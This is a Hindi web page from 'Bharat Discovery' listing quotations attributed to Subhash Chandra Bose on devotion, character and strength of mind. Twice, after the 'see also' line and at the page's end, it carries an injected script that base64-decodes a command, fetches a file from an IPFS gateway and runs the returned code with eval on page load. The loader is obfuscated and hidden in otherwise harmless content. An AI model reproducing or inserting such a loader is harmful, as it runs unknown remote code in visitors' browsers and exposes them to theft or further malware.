सुभाष चंद्र बोस के अनमोल वचन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
सुभाष चंद्र बोस के अनमोल वचन
  • मनुष्य के मन में जब किसी व्यक्ति के प्रति श्रद्धा बढ़ती है तब उसी अनुपात में स्वार्थपरता घट जाती है।
  • भक्ति और प्रेम से मनुष्य नि:स्वार्थी बन सकता है। मनुष्य के मन में जब किसी व्यक्ति के प्रति श्रद्धा बढ़ती है तब उसी अनुपात में स्वार्थपरता घट जाती है।
  • शिक्षित व्यक्ति यदि चरित्रहीन हो, तब क्या उसे विद्वान कहेंगे? कभी नहीं।
  • जिसके पास भगवद्-भक्ति, भगवद्-प्रेम है- वही इस संसार में धनी है। ऐसे व्यक्ति के समक्ष महाराजाधिराज भी दीन भिक्षुक के समान है।
  • जो मनुष्य दूसरों के व्यवहार से ऊबकर क्षण प्रतिक्षण अपने मन बदलते रहते हैं, वे दुर्बल हैं। उनमें आत्मबल नहीं है।

इन्हें भी देखें: अनमोल वचन, कहावत लोकोक्ति मुहावरे एवं सूक्ति और कहावत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>